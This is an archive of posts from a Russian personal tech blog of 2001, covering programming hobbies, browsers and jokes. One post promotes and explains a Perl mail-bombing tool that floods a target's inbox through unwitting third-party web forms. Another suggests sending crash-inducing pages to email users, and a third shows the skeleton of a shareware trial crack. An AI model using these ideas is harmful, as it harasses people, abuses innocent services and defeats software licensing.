Евгений Степанищев

Эксперт в области разработки веб-приложений и безопасности в интернете. Каждый месяц мой блог посещают около 90 тысяч человек. Работаю техническим директором в «Системах документооборота», занимаюсь электронным правительством.

Shit Streamer версия 0.10 (Perl)

Всем привет! Если вы знаете, что такое Perl и непрочь активно побороться со спаммерским племенем, рекомендую прочитать этот выпуск внимательно, если нет, то все нижеизложенное можно смело пропустить.

Вчера, в очередной раз получив спамовое письмо с "деловым предложением", я, как обычно, отослал на адрес отправителя пару ругательных писем с приатачченым двухметровым файлом, в нагрузку. Хотя, я пытаюсь не обращать внимания на такие письма, иногда они меня здорово раздражают.

Так вот, вчера, отправив пару двухметровых писем, я всерьез задумался над проблемой Как Бы Мне Достать Этих Чертовых Ублюдков Спаммеров. Ответ очевиден. Все что известно мне о координатах спамера - это его e-mail и, иногда, адрес его сайта. Ломать сайт каждого спамера долго и противозаконно, значит единственный способ "достать" спамера - это сделать что-то с его ящиком.

Поступить со спамером так, как они обычно поступают с нами - забить его ящик кучей ненужных писем, мне показалось отличной, легко поддающейся автоматизации, да и к тому же не лишенной ироничности идеей.

Идея-максимум - не просто отправить груду писем со своего ящика, но еще и сделать так, чтобы спамер даже примерно бы не смог узнать с какого ящика или IP адреса была на него проведена атака.

Размышляя над тем, как бы это устроить, я вспомнил о "спаммерском" сервисе невольно предоставляемым интернет-изданием "Русский Журнал", я о нем уже как-то писал вот тут. Написать скрипт на Perl, который отправляет на адрес жертвы пару тысяч статей "Русского Журнала" - дело нехитрое. Мне пришло в голову, поискать сайты, предоставляющие сходные услуги и сделать скрипт легко настраиваемым, чтобы список таких сайтов можно было бы, при необходимости, менять.

Так родилась первая версия Shit Streamer'a, позволяющая целенаправленно сливать разнообразный шит в один ящик. Скачать двухкилобайтовый архив, с программой на Perl можно отсюда. Для функционирования требуются модули LWP::UserAgent и HTTP::Request::Common, поставляемые в составе библиотеки libwww. Программа писалась под Linux и как это будет работать под Windows я не знаю. Если кто-то попробует - сообщите о результате.

Все настройки находятся внутри программы, в самом конце файла, после строчки "__DATA__". Там перечислены сервера и параметры к ним, передаваемые одним из методов. Если вы знаете для чего в HTML нужен тег "FORM", то легко сможете добавить к списку любой другой сервер. Пояснений, думаю, требуют лишь исскуственно введеный метод "GEST", способ подстановки адреса e-mail в строку параметров и передача русских букв.

Первый предназначен для сайтов, где используются смешанные методы передачи параметров, т.е. GET и POST в одном запросе. Строка параметров для GET должна идти первой, параметры для POST идут сразу после второго вопроса, внутри файла есть пример.

E-mail в строке параметров обозначается, как "%s" и может упоминаться несколько раз - подстановка происходит через s///g, а не через sprintf.

Русские буквы в строке запроса должны передаваться в кодировке Win (CP-1251), поскольку Shit Streamer идентифицирует себя, как клиент под Windows.

При запуске Shit Streamer'у нужно указать два параметра, первый - адрес e-mail, куда польется шит, второй, необязательный - количество запросов, которое SS сделает по указанным в настройках адресам. Второй параметр напрямую влияет на количество получаемых жертвой писем. Так как некоторые сервера на момент рассылки могут не работать, другие могут принять меры к отфильтровке многократно повторяющихся запросов, реальное количество писем, которое получит жертва - 50-80% от указанной во втором параметре цифры.

SS. Внешний вид (4.2Kb)

Как выглядит процесс рассылки писем, можно увидеть на скриншоте. SS случайным образом выбирает из заданного внутри программы списка, один из браузеров под видом которого он будет подключатся к серверам и последовательно начинает обходить все указанные сайты. Сейчас этих сайтов около двадцати, список, как я уже упоминал можно формировать самостоятельно.

Чтобы не искать ссылочку для скачивания в тексте, привожу ее в самом конце. Скачать SS можно вот отсюда.
Комментировать
14 декабря 2001 18:22

Маты, to hack, 20% от XP, падучесть

Всем привет!

Генератор мата (9Кб) Судьба, баннеры и ссылки завели меня сегодня на страничку Комарова Алексея, где я нашел совершенно, на мой взгляд, необходимую для любого человека, живущего в России программу - "Генератор матов".

Особенно программа будет полезна тем, кто приехал в нашу страну недавно. По словарям русский мат не выучишь.

Программа умеет генерировать произвольной многоэтажности матерные выражения, которым позавидовали бы даже мастера матерного слова.

В программе реализован собственный макроязык, при помощи которого можно генерировать выражения заданной сложности и содержания. В общем, реализованы, кажется, все возможные навороты, кроме опции "проговорить сгенерированное голосом". :)

Программа скачивается очень медленно, поэтому последнюю, на данный момент, версию 2.2 я выложил вот сюда вот.

Хотите испытать свой браузер на падучесть? Вот здесь есть небольшая страничка, позволяющая эта сделать. Все тесты на падучесть расчитаны на NC 4.xx и IE 5.xx, так что Opera или, скажем, Lynx там испытывать бесполезно. Я, кстати, не нашел там три известных мне теста на падучесть NC 4.xx - теги script и layer с пустым источником, стили с некорректными аттрибутами и невидимый слой с определенным форматированием.

Особенно интересно такие странички скачивать и отправлять владельцам почтовых клиентов Outlook и Netscape Messenger. При попытке открыть такое письмо они попросту валятся, а так как и тот и другой обычно запоминают какое письмо они просмотрели последним и в следующий раз открывают именно его... О последствиях можете догадаться сами.

Как известно тем, кто хотя бы раз пытался сделать автоматическую генерацию какой-то графики в Вебе, основными программами, которые используют на данном поприще являются GD и ImageMagick. Первую, обычно, используют те, кто программируют на PHP, ибо для нее есть модуль, вторую, как более мощную - все остальные.

Что обидно, модуля под PHP для этой программы не существовало, так что PHPшники использовали ее, как внешнее приложение. Такой подход особым удобством не отличается и одному из любителей PHP надоело ждать когда кто-то другой добавить ImageMagick API в этот замечательный язык. Здесь можно посмотреть, что из этого получилось. Список функций пока менее, чем скромный, но в любом деле главное начало. Автор утверждает, что любые необходимые функции в модуль можно добавить самостоятельно, это достаточно просто сделать любому, кто обладает минимальными познаниями в C.

Я исходники уже скачал, но на предмет добавления новых функций еще не исследовал. С PHP 4.1.0RC3 они так, как рекомендует это делать автор, не собрались, так что я отложил их пока в сторону. Будет время - попробую понять в чем там дело.

Программисты компании Микрософт, как всегда руководствуясь благими намерениями, не раз уже удивляли общественность своими оригинальными решениями. Выпустив Windows XP, программисты заложили в нее удивительную особенность - чтобы не случилось XP никогда не займет более 80% пропускной способности вашей сети. Даже, если в сети ровно две машины.

Намерения программистов и в этот раз весьма благие - резервировать часть канала для нужд остальных машин в сети, чтобы, например, сетевой трафик Квейка не особо сказывался на производительности сети, подключенной к одному хабу или коаксиалу.

Намерения благие. Жалко, что в Микрософт не подумали о галочке где-нибудь на видном месте, которой все это, в случае ненадобности, можно было бы легко выключить. Например, от имени администратора.

Так что, если вы считаете, что эта фича вам абсолютно не нужна придется выполнить пять шагов описанных вот тут вот. Не скажу, что после отключения этой фичи я почувствовал резкое увеличение производительности сети, но определенное приятное чувство причастности к какому-то мистическому ритуалу я испытал. ;)

Посмеяться. Это надо прочитать!

Монета (2.4Кб) Хочу порекомендовать всем прекрасный, на мой взгляд, поисковик различной графики в сети.

Основные отличия от массы других подобных серверов - очень низкое присутствие мусора, не имеющего к запрашиваемой фразе никакого отношения и очень удобные небольшие снапшоты, позволяющие быстро оценить то, что было найдено. В общем, однозначно рекомендую.

На фото - монета, которую поисковик нашел мне по запросу "tombac" (это сплав меди с цинком).

Это надо видеть.. (65Kb)

Для тех, кто не знает аглицкого... Надпись сверху гласит "они поставили цивилизацию на колени", далее "готы", "варвары", "гунны", "дегенераты". "To hack" переводится, как "рубить, кромсать" или "хакать".

Ну и напоследок. Глубокая мысль от Джека Хэндея.


Deep Thoughts....by Jack Handey

The next time you're having a bad day, imagine this:
You're a Siamese twin...
Your brother, attached at your shoulder is gay and you're not...

But you only have the one ass.
Feel better?
 

"В следующий раз, когда наступят не самые лучшие ваши дни представте себе такое: вы с братом сиамские близнецы, сросшиеся в плечах. Ваш брат гей, а вы - нет... И у вас на двоих только одна задница. Чувствуете себя лучше?".

Удачной недели!
Комментировать
10 декабря 2001 21:30

Ностальгия, патенты, speaker, курение

Всем привет! Надеюсь, все благополучно удалось пережить выходные. :)

Давно не испытывал чувства такой острой ностальгии... Если ваше знакомство с компьютерными играми началось с программы Cat или Arkanoid под CGA, вы до сих пор уверены, что "Принц Персии" - лучшее, что удалось выпустить индустрии игр для PC и не прочь понастальгировать, то этот сайт для вас. Hunted (8.5Kb)

Кстати, на сайте есть не только игры, но и утилиты и (!) даже операционные системы прошлого века. Я, из интереса, скачал Windows 2.0, хотелось узнать кто был прав в нашем споре с Виктором Клименко по поводу совместимости программ для второй версии со следующими версиями Windows.

Сообщаю всем, кому это интересно. Windows 98 SE, в ответ на просьбу запустить чего-нибудь из дистрибутива второй версии, покрутила пальцем у виска и запускать такие программы наотрез отказалась.

Под XP некоторые из программ все же запустились. Я, например, с удовольствием выяснил, как выглядел "Блокнот" 87-го года выпуска. :))

Скачать что-нибудь из игр я просто не решился, хотя каждая страница раздела пестрит когда-то любимыми играми. Просто не хочу, чтобы Golden AX, Vikings, Metal Mutants и многие другие, по прошествии стольких лет, показались мне совершенно не такими, как я их помню.

Посмеяться. Тут. Требуется браузер поддерживающий JavaScript.

Из форума сайта Linux.Org.Ru:

Re: Патентные проблемы PNG
По-вашему, это плохо?! ;-)

Знаете, когда вы набираете текст, и курсор подходит к последнему символу последней строки, вы продолжаете набирать текст и верхняя строка текста исчезает, а снизу появляется пустая?

Все в курсе?

Так вот, у IBM есть на _это_поведение_пользовательского_интерфейса_ угадайте что?.. _ПАТЕНТ_

Так что все не так уж плохо, не так ли?

anonymous (*) (2001-11-17 14:56:16.0)

Каких только патентов в природе не существует! Поискал немного в Гугле и набрел вот на это. Если лень читать все, можно посмотреть, например, вот на [ такое вот ]. Язык - английский.

У меня ощущение, что запатентовать сейчас можно все что угодно. Многие люди при наборе текста выделяют знаки препинания пробелом с одной стороны. Никто не хочет такой способ выделения запатентовать? Мне пять процентов за идею. Денег бы огребли?

В наше время СаундБластеров все больше людей оказываются удивленными, обнаружив, что встроенный динамик компьютера, называемый в народе писиспикером, способен воспроизводить, пусть и отвратного качества, но музыку. Под DOSом такое никого не удивляет, а под Виндами воспринимается, как магия.

Возможно, для кого-то это не будет сюрпризом, но для PC Speaker, как и для множества других устройств способных воспроизводить звук под Windows, существует драйвер, который позволяет проигрывать wav-файлы в формате PCM. MP3 придется преобразовать каким-нибудь конвертором, например через DiskWriter того же WinAMP.

PC Speaker settings (9.7Kb) Качество на уровне "терпеть можно", но, как говорится, чего вы хотели за такие деньги? По поводу того, как настроить драйвер. Если при упоминании марки вашего процессора у ваших друзей не вырывается сочувственный вздох, можете сходить Панель Управления->Мультимедиа->Устройства-> Аудиоустройства->PC-Speaker->Настройка и проставить галочку напротив "Enable interrupts during playback", иначе во время воспроизведения звука ничего больше работать не будет, и убрать бегунок "Limit" до отметки "No Limit", чтобы звуки проигрывались полностью.

Чуть не забыл. Драйвер предназначен для линейки Windows 3.1/95/98/ME, ничего подобного под NT/2K/XP я пока не видел. Если кто-нибудь найдет аналог, киньте мне ссылку.

Наиболее внимательные читатели в количестве семи штук по мылу и асе заметили мне, что на первой странице недавно появилась загадочная строчка "мониторинг денег в моем кармане".

Спешу разочаровать - датчика уровня денег, который передает телеметрию на веб-сервер у меня нет. :) А есть, написанная за десять минут, программа, которая примерно прикидывает во сколько я сегодня мог бы пойти на работу, сколько бы я примерно мог денег взять, сколько я мог бы потратить на обед, сколько мог бы оставить в магазине, платит за проезд, берет в долг, отдает долг полностью или частично, занимает до понедельника и отдает через две недели и так далее и тому подобное. :) Но спасибо, что спросили. :)

Опытная эксплуатация показала, что погрешность, обычно не превышает 25%, если не считать дней, когда у меня запланированы какие-то более серьезные покупки.

С Сантой неувязочка вышла. :) Я больше смотрел картинки, чем читал текст. :) Письмо от Dmitry Radishev aka DiBR.


"Нда.. Такого деда Мороза не купишь в наших магазинах. А жаль, хороший подарок получился бы. [...] Насколько я понимаю, "дед" вечный, т.е. питается от силы нажатия. Я видел парочку таких игрушек, которые воспроизводят всякие забавные звуки, если их уронить или хорошенько на них нажать, питаясь от энергии приложенной силы"

"Nasty Santa operates on 2 AA batteries that are included". - прямо на той странице, на которую ведет ссылка :-)
 

Точно, английским по белому написано. :) Как просмотрел, не знаю. :)

Кстати, Дмитрий, приведенная у тебя на страничке ссылка открывается в IE 6 XP без каких-либо проблем. Видимо, лечить глюки предполагается, все же, меняя ОС... :((

Поздравляю всех тех, для кого в нашей стране курение ближнего своего является настоящей проблемой! Примерно через месяц вступает в силу статья N6 федерального закона N87 "об ограничении курения табака".

Выглядит эта статья так: "запрещение курения табака на рабочих местах, в городском, пригородном транспорте и на воздушном транспорте, в закрытых спортивных сооружениях, организациях здравоохранения, образовательных организациях и организациях культуры, помещениях, занимаемых огранами государственной власти".

Для желающих подискутировать по поводу термина "курение табака" отслылаю к первоисточнику, там все термины расшифрованы предельно ясно.

В самом деле, человек, прилюдно пустивший ветра, тут же становится объектом общественного порицания, а курильщик, выдыхающий нечто, напоминающее мне запах старых носков, почему-то считается нормой. Желающих поспорить на эту тему приглашаю писать в мыло.

В одном из номеров журнала "Fit For Fun" среди всей той мути, которую они пишут нашел замечательную фразу "Гейтсу можно верить". Я так понял, что это такое утонченное ругательство. :)

Всем удачной недели. Верьте Гейтсу!
Комментировать
27 ноября 2001 19:40

99 бутылок… Исполняют Parrot и OW-BASIC

32. Parrot. Очень молодой, его первый компилятор в байт-коды появился 10 сентября, язык виртуальной машины для интерпретируемых языков. Насколько я понимаю, разрабатывался специально для Perl6.

Язык по базовым конструкциям беднее ассемблера - нет ни одной конструкции цикла, все они заменяются условными переходами, ограниченное количество переменных (по 32 на каждый тип переменной), зато есть поддержка функций (параметры передаются через стек), операций с файлами, операторов ввода-вывода и так далее. Поскольку интерпретатору около месяца, диагностика ошибок еще весьма бедная, иногда единственное сообщение, которое получаешь на экран - "Segmentation fault". :)

Скрипт, выводящий песню о пиве (beer.pasm)


# Beer song. Written by Evgeny Stepanischev

        set      I1, 99
        branch   MAIN

beer:   if       I1, _NZERO
        print    "No"
        branch   _I1_EL

_NZERO: print    I1
_I1_EL: print    " bottle"
        eq       I1, 1, _NO_S

        print    "s"
_NO_S:  ret



MAIN:   bsr      beer
        print    " of beer on the wall, "
        bsr      beer
        print    " of beer."
        print    "\nTake one and pass around,\n"

        dec      I1

        bsr      beer
        print    " on the wall.\n\n"

        if       I1, MAIN

        print    "No more bottles of beer...\n"
        print    "Go to the store and buy some more...\n"
        print    "99 bottles of beer.\n"

        end



33. OW-BASIC - наиболее популярный, среди пользователей PV-S450, диалектов языка BASIC. Ему присущи все основные черты небольших современных интерпретаторов этого языка - наличие процедур с локальными параметрами и параметрами по указателю, блочные конструкции, функции работы со строками и отсутствие необходимости нумеровать строки.

Конечно, в силу специфики железа, на котором этот интерпретатор работает есть и весьма специфические для этой платформы функции, например, проверка касания экрана, вывод встроенной графики и тому подобное. К сожалению, в интерпретаторе есть ряд весьма досадных багов, например, сбой при выходе за край экрана и местами довольно бедная диагностика ошибок.

Программа, выводящая песню о пиве (! beer)


! beer
! Beer song. Written by Evgeny Stepanischev

PROC beer i, VAR s$
  IF i>0 THEN
    s = STRING(i)
  ELSE
    s = "No"
  ENDIF

  s = s+" bottle"

  IF i<>1 THEN
    s = s+"s"
  ENDIF
  s = s+" of beer"
ENDP

FOR i=0 TO 98
  beer 99-i, s$
  ? s;" on the wall, ";s;"."
  ? "Take one and pass around,"
  beer 98-i, s
  ? s;" on the wall.":? ""
NEXT

? "": ? "No more bottles of beer..."
? "Go to the store and buy some more..."
? "99 bottles of beer."


Комментировать
21 ноября 2001 13:40

NC vs. IE, True Home, Санта, Люди X

Привет! Наконец-то кончилась вся та слякоть, которая сыпалась с неба уже бог знает сколько времени и наступила настоящая зима. По крайней мере, в наших широтах. С чем всех и поздравляю. Я за всех нас рад. Дабы меня не обвинили в дискриминации кого-либо, отдельно поясню, что за австралийцев, у которых сейчас лето, я рад особо. :)))

Как известно, Microsoft дано воюет с Netscape за долю на рынке браузеров. И, хотя победа Microsоft на этом поприще уже давно видна невооруженным глазом, Microsoft, уже не опасаясь конкуренции, втихую радуется провалам незадачливого браузера от Netscape.

NC error (7.2Kb)


Вот и в этот раз, когда мой Netscape 4.78 слетел с осей при попытке открыть одну из страниц, XP попросила разрешения тут же оповестить об этом радостном событии Билла Гейтса. :))

На всякий случай, для тех, кто весьма болезненно относится к неудаче Netscape, скажу, что это, конечно же, шутка. Программе не надо называться "Netscape", чтобы XP предложила отправить отчет о ее падении в Microsoft, XP так поступает всегда. Но выглядит, в данном контексте, это довольно забавно.

Примечание для тех, кто не владеет английским. Фразы, выделенные жирным, переводятся как "Приложение Netscape Navigator будет закрыто, в связи с возникшей в нем проблемой. Мы приносим извинения за беспокойство." и "Пожалуйста, сообщите Microsoft об этой проблеме".

Один из патриархов Рунета, Артемий Лебедев недавно высказал очень интересные мысли по поводу кнопки "Home" ("Домашняя страница"), которая торчит, как бельмо на глазу, в интерфейсе современных браузеров.

Интересные мысли сводились, в основном, к тому, что "Home" стала, если не абсолютно, то в большинстве случаев, бесполезным причиндалом, несущим давно отмершую, рудиментарную функцию.

Ёё историческое назначение - переход на одну-единственную, "стартовую" страницу, откуда можно начать путешествие по Сети, давно уже перекрывается "закладками", предоставляющими пользователю еще и возможность настройки и изменения информации в "закладках" под себя.

Таким образом, "Home" чаще всего ведет, либо на стартовую страничку сайта учреждения, где человек работает, либо, как у меня например, перманентно установлена на "about:blank".

Поскольку, функции нет, а кнопка есть, неплохо было бы этой кнопке дать какую-то полезную нагрузку, например, как предлагает Артемий, функцию перехода на первую страницу сайта.

True home button (4.4Kb) Так как производители браузеров вряд ли в ближайшем будущем задумаются о более подходящем способе использовании "Home" я написал небольшой патч, предназначенный для пользователей Internet Explorer под Windows, который, как мне кажется, вполне успешно эту проблему решает.

Архив с пачтем занимает всего 11Кб и содержит внутри два файла - install.vbs и install.ico. Запускать нужно первый. После запуска инсталлятора и перезапуска браузера в Экслорере должна появится новая кнопка "True Home", иконку которой видно на скриншоте. Для того, чтобы переставить кнопку на более подходящее для нее место, перейдите в View->Toolbars->Customize... (Вид->Панели инструментов->Настройка...) и поменяйте их положение по своему усмотрению.

Патч должен работать под Windows 98/ME/NT Option Pack/2000/XP (я испытал под 98-й, МЕ и XP) и с браузерами Internet Explorer версий не ниже 4-й. Возможно, он так же будет работать и под Windows 95, попробуйте, но, если не получится, багрепорт присылать мне не нужно.

Однажды я, впечатленный найденным на просторах Интернета Веб-сервером написанным на PostScript, решил написать что-то столь же героическое.

Героизм его автора заключается в том, что он написал Веб-сервер на языке, который не умеет работать с сокетами. Читерство заключается в прописывании этого сервера, как stream в файле inetd.conf, как следствие - сервер работает только под Unix-like ОС. Так что на PostScript реализована лишь часть, которая, собственно, принимает запросы и отправляет запрошенную информацию.

Так вот. PS-HTTPD вдохновил меня на написание FTP сервера на языке JavaScript, который, точно так же, как и PostScript, ничего не знает о сокетах. Идея мне показалась вполне удачной и я её, в общем-то, не долго думая и реализовал. Заодно познакомился поближе с протоколом FTP.

Необходимой жертвой в данном случае является то, что мой JavaScript-FTPD пускается только под Netscape и бесчеловечно тормозит, так как JavaScript язык интерпретируемый.

Когда я все это писал Netscape 6.x то ли еще не родился, то ли выглядел, как жертва пьяной случки и, так как его популярность была невысока, в расчет я его не брал. Времена изменились, Netscape 6.2 уже не так плох, и у меня, с неделю назад, возникла мысль испытать JS-FTPD под новым браузером от Netscape.

Под 6-м сервер заработал, но интерфейс выглядел несколько не так, как бы я хотел. После получасового камлания с бубном я добился более-менее нормального вида под обоими браузерами, чуть причесал код и выложил обновленую версию по той же самой ссылке для внимания всем тем, кому это интересно. Может кому-то пригодится в качестве пособия для изучения FTP или для того, чтобы посмотреть вблизи на технологию LiveConnect от Netscape.

Talking Nasty Santa Doll (5.5Kb) Нда.. Такого деда Мороза не купишь в наших магазинах. А жаль, хороший подарок получился бы.

Советую взглянуть на двенадцатидюймового (30 см) деда Мороза за 30 баксов, по баксу за сантиметр, который, если нажать ему на пузо, произносит "kiss my jolly fat ass" и тому подобные забавные идиотизмы на английском.

По той же ссылке есть флешовая демка и 3D-модель. Может кто знает, как устроить доставку этого чудища из-за границы (игрушка продается только в пределах США) и сколько, примерно, это будет стоить?

Насколько я понимаю, "дед" вечный, т.е. питается от силы нажатия. Я видел парочку таких игрушек, которые воспроизводят всякие забавные звуки, если их уронить или хорошенько на них нажать, питаясь от энергии приложенной силы.

Кстати, Санта - не единственная забавная штука, которую можно купить на этом сайте, если вы живете в Штатах, и подарить своим друзьям. Сходите на головную страницу - там еще много интересного. Единственный недостаток - все на флеше и занимает немалые объемы.

Чтобы было, если первый калькулятор изобрел не Блез Паскаль, а крепостной Федька Драный, а Чарльзу Томасу Кольмарскому утер нос Михал Василич Ломоносов? Как бы изменилась история компьютерной отрасли и компьютера в частности? Об этом и о значении слова "поповолн" можно узнать тут. Круто, мне понравилось, советую. :)

Кстати, если вас интересует программированние на языке ассемблер, рекомендую так же побродить по самому сайту, там есть очень интересные и полезные статьи на эту тему.

Вчера, переключая каналы на телевизоре, я совершенно случайно нашел мультфильм, который, по моему глубокому убеждению, стал источником вдохновения для фильма "Люди X".

Кощей (10Kb)Яга (7.2Kb)

Если принять эту мысль, сразу становится понятным откуда ростут ноги. Наш металлических знакомый Росомаха, которого плохой магнитный дядя однажды поднял в воздух - это нашпигованный железом Кощей aka Бессмертный, которого пионер Ваня примагнитил подковой к косяку, кот Баюн, убивающий живность взглядом - никто иной, как Циклоп, разнесший взглядом целый вокзал. Седая Баба Яга, возможно - Шторм, на скринштах им как раз обоим довольно невесело.

Росомаха (6Kb)Шторм (7.2Kb)

Я очень хорошо представляю, как родился сюжет фильма. Автор сценария, либо родился в России, либо сюда приезжал, например, в Артек. Во время просмотра этого мультфильма его жестоко избили пионеры, вселив в него ненависть ко всем пионерам вообще. Когда его били, последнее, что он увидел, прежде чем потерять сознание - жизнерадостную надпись "Конец", которая заканчивала тогда все отечественные мультфильмы.

Он поклялся отомстить. Потом он вырос и иммигрировал, а может быть уехал на родину, разбагател и понял, что мстить - плохо, да и некому.

Разумом он это понял, но в сердце продолжала жить злоба на красные галстуки. Он стал медленно сходить с ума. Так бы тихо и сошел, если бы не его психоаналитик, который вовремя докопался до причин и посоветовал нашему герою снять фильм, который будет противоположностью мультфильма, отпечатовшегося в его памяти.

Главной мыслью фильма должно было стать, что пионера Магнето, который примагнитил Кощея и заколбасил всех остальных, в конце самого расколбасили в пух и прах. Только это, сказал аналитик, поможет обрести покой твоему сердцу и поможет тебе не сойти с ума от детских комплексов. Неизвестно, чем кончилась эта история, но фильм вышел на экраны и собрал нехилые бабки.

Я тут в прошлый обещал JUnix под Netscape 6.x. Можно качать. :) Еще могут быть глюки, но основные вещи я оттестировал. Кстати, когда я вносил исправления для NC 6 я не стал останавливаться на достигнутом и внес изменения еще и для некоторых браузеров, сделанных на движке Mozilla.

Таким образом, JUnix сейчас работает под MS Internet Explorer 4.0 и выше, Netscape Communicator 4.0 и выше, Netscape 6.0 и выше, Mozilla, K-Meleon и Beonex. Вынужден огорчить любителей браузера Opera - его поддержка пока не планируется, так как у этого браузера нет законченной DOM, попросту ему не хватает возможностей.

На сегодня это все, всем пока!
Комментировать
20 ноября 2001 19:30

Между прочим: минивыпуск, отчет

Всем привет!
Вчера моей страничке исполнился ровно год. Юбилей. В преддверии этого знаменательного события я устроил себе выходной и почти ровно две недели ничего сюда не писал, ибо решил отдохнуть от своего хобби и углубится в основную работу.

Нельзя сказать, что я позволил себе бездействовать и ничего не делал для Интернет-общественности целых две недели. Сегодня, чтобы плавно начать после долгого простоя я, для старта, опишу все то, что я успел сделать в свободное от работы время.

С момента приобретения Casio PV у меня чесались руки сделать что-то полезное для всех тех, кто, как и я приобрел этот замечательный наладонник, приложить руку к популяризации этого замечательного продукта.

Для того, чтобы писать программы на C нужно учить API, а у меня на это нет ни времени, ни желания, серьезные программы на OW-BASIC, как я убедился на собственном опыте, писать не получится - так устроена среда разработки, так что я решил обратить свой взор на другие аспекты.

Первое, что пришло мне в голову, это русифицировать PV Application Manager. Это основная программа, с которой довольно часто сталкивается любой пользователь PV - именно через нее происходит обновление программного обеспечение, удаление программ и их данных, изменение версии операционной системы.

Так уж традиционно повелось, что основной язык у нас в стране - русский и с английским у большей части населения возникают некоторые проблемы. Второй проблемой нашей страны является наличие многообразия стандартов русских кодировок KOI, IOS, MAC, WIN, DOS - далеко не полный перечень слов, которые можно услышать в сочетании со словом "кодировка". Естественно, что русскоязычная часть владельцев Casio не осталась в стороне от дел и выпустила в свет кодировку, которую я условно называю Casio-R.

Фирма Casio, соответственно, мало интересует та и другая проблема, поэтому их замечательный PC-Sync (насколько я понимаю, стараниями программистов из фирмы "Белка") знает, что есть русский язык, а Application Manager - нет, поэтому говорит он на английском и, вместо русских букв в названии программ, показывается разные интересные знаки.

По мере поступления обеих проблем я их попытался решить. Сразу скажу, что сделать это мне удалось, и новую версию PV Application Manager можно скачать вот отсюда. К архиву прилагается краткая инструкция по пользованию на русском языке и небольшой список изменений.

Добавление от 06.02.2002. Больше распространением патча к Минибуку я не занимаюсь. Из уважения к труду Пу Бо.

Как известно всем тем, кто приобрел PV (а если не известно, то срочно рекомендую об этом узнать) единственной приличной читалкой текстов для PV была, есть и остается программа MiniBook программиста Пу Бо.

К сожалению, последние версии MiniBook обладают кучей приятных возможностей и неприятным багом - через 30 дней они прекращают функционировать. Оригинальный патч от Пу Бо стоит всего 8$ и я бы уплатил эти деньги, если бы не отсутствие у меня, как и у многих россиян свободноковертируемого пластика.

SSC взяла на себя инициативу по упрощению процедуры регистрации для жителей России и, что немаловажно, по снижении цены продукта. Но, поскольку я устал ждать, когда это произойдет я решил справится с проблемой собственноручно и выпустил патч для версий 2.53 и русифицированной 2.54.

Технические аспекты. Данный патч, написан с использованием Windows Script Host на языке VBScript (поскольку JScript пытается любой бинарник прочитать в Unicode) и должен быть сохранен, как файл patch.vbs, запускается он в среде Windows 98, ME, 2000, XP и NT c Service Pack, может, после некоторых танцев, заработать и на Windows 95.

Правовые аспекты. Пояснение для особо бдительных товарищей. Как известно, по закону о свободе слова, я могу распространять программу в исходных кодах, даже, если эта программа является патчем, краком или вирусом. Именно поэтому в Интернете так много вредоносных программ, написанных на C, распространяется именно в исходниках. Тот факт, что сам исходник в данном случае является еще и программой никак не меняет дело.

Вообще, этот вопрос довольно интересен. Помню, во времена DOS текстовая информация о патче распространялась отдельно от программы, которая умела патчить что угодно, руководствуясь такой информацией. Таким образом соблюдалась законность, но это было жутко неудобно - кроме патча надо было отдельно искать программу, которая с ним работает или вносить изменения руками.

Сейчас все больше обретают популярность программы на Perl и других подобных языках - тенденция, на мой взгляд странная, так как в Windows уже давно существует так называемый Windows Script Host, некая замена морально устаревшему языку BAT-файлов, которых хотя и развивается Microsoft, но довольно вяло.

Поскольку я не видел патчей, написанных на WSH, то объявляю этот патч первой ласточкой. :) Делал я его так, чтобы сохранить возможность простой модификации, так что под многие задачи его даже не придется модифицировать.


' This is not patch. It's demo startup code only.
' Это не сам патч, а только демонстрационный стартовый код.


Sub Patch (name)

        Dim fso, f, file

        FileLength1     = 90020
        FileLength2     = 96484
        CannotPatchMsg = "Cannot patch file. Incorrect version."


        Set fso  = CreateObject("Scripting.FileSystemObject")
        Set f    = fso.GetFile(name)
        Set file = fso.OpenTextFile(name, 1, False)

        lenf = f.size

        If lenf = FileLength1 Then
                Addrs = Array ( ... )
                Sours = Array ( ... )
                Dests = Array ( ... )
        ElseIf lenf = FileLength2 Then
                Addrs = Array ( ... )
                Sours = Array ( ... )
                Dests = Array ( ... )
        Else
                WScript.Echo CannotPatchMsg
                file.Close
                Exit Sub
        End If

        s = file.Read (lenf)
        file.Close

        K = 0
        P = 0

        For I = LBound(Addrs) To UBound(Addrs) Step 2
                For J = Addrs(I) To Addrs(I+1)
                        ch = Asc(Mid(s, J+1, 1))
                        If Sours(K) = Hex(ch) Then
                                s = Left(s, J) & Chr(Dests(K)) & Right(s, Len(s)-J-1)
                        Else
                                If Dests(K) = ch Then
                                        P = P + 1
                                Else
                                        WScript.Echo CannotPatchMsg
                                        Exit Sub
                                End If
                        End If

                        K = K + 1
                Next

        Next

        If P=0 Then
                Set file = fso.OpenTextFile(name, 2, False)
                file.Write(s)
                file.Close

                WScript.Echo "File was successfully patched."

        ElseIf P = UBound(Dests)-LBound(Dests)+1 Then
                WScript.Echo "File is already patched."
        Else
                WScript.Echo CannotPatchMsg
        End If

End Sub


If WScript.Arguments.Count = 0 Then
        WScript.Echo "Written by Evgeny Stepanischev (http://bolknote.ru)" & _
        Chr(13) & Chr(10) & _
        "        Patch for Pu Bo MiniBook v2.53 and 2.54R (PV)"  & Chr(13) & Chr(10) & _
        "                     Usage: patch.vbs <bin_file>"
Else
        Patch(WScript.Arguments(0))
End If


Да, забыл сказать, я не несу никакой ответственности за возможную порчу данных PV или MiniBook при пользовании патчем, хотя у меня все работает нормально и нормально работало, когда я переводил год на 2010. Только Пу Бо знает какие сюрпризы он подготовил любителям халявы. :)

Хорошая новость для тех, кто использует мой JUnix. Так как неожиданно поднялась активность на этом сайте (обычно так бывает после публикации ссылки в каком-то относительно популярном издании) я решил произвести некоторые изменения.

На днях, если пройдет тестирование, выйдет новая версия этой программы. Будут исправлены некие застарелые баги, добавлены новые возможности, в частности поддержка прав на разделах cookies, не раздвигающий текст курсор и устройство /dev/random.

Следите за обновлениями! :)

На этом список Потрясающих Открытий и Бесконечно Полезных Деяний, Сделанных Мной Для Человечества на этот период заканчивается и мне пора прощаться, так как гору Накопившихся Дел и Срочной Работы необходимо все-таки разгрести. Как только я это сделаю, попробую вернуться к прежнему ритму, всем пока!

Пишите!.
Комментировать
12 ноября 2001 18:00

Крякаем Mail.RU, PV-S450: впечатления и говорящий я



 
Всем привет!

Сегодняшний выпуск проведет мое фото на паспорт, сделанное в нежном возрасте 17 лет. Мне прямо хоть в цирке Монти Пайтона выступать. Надеюсь, у всех браузер настолько продвинутый, что лицо на фотографии видно и рот двигается.

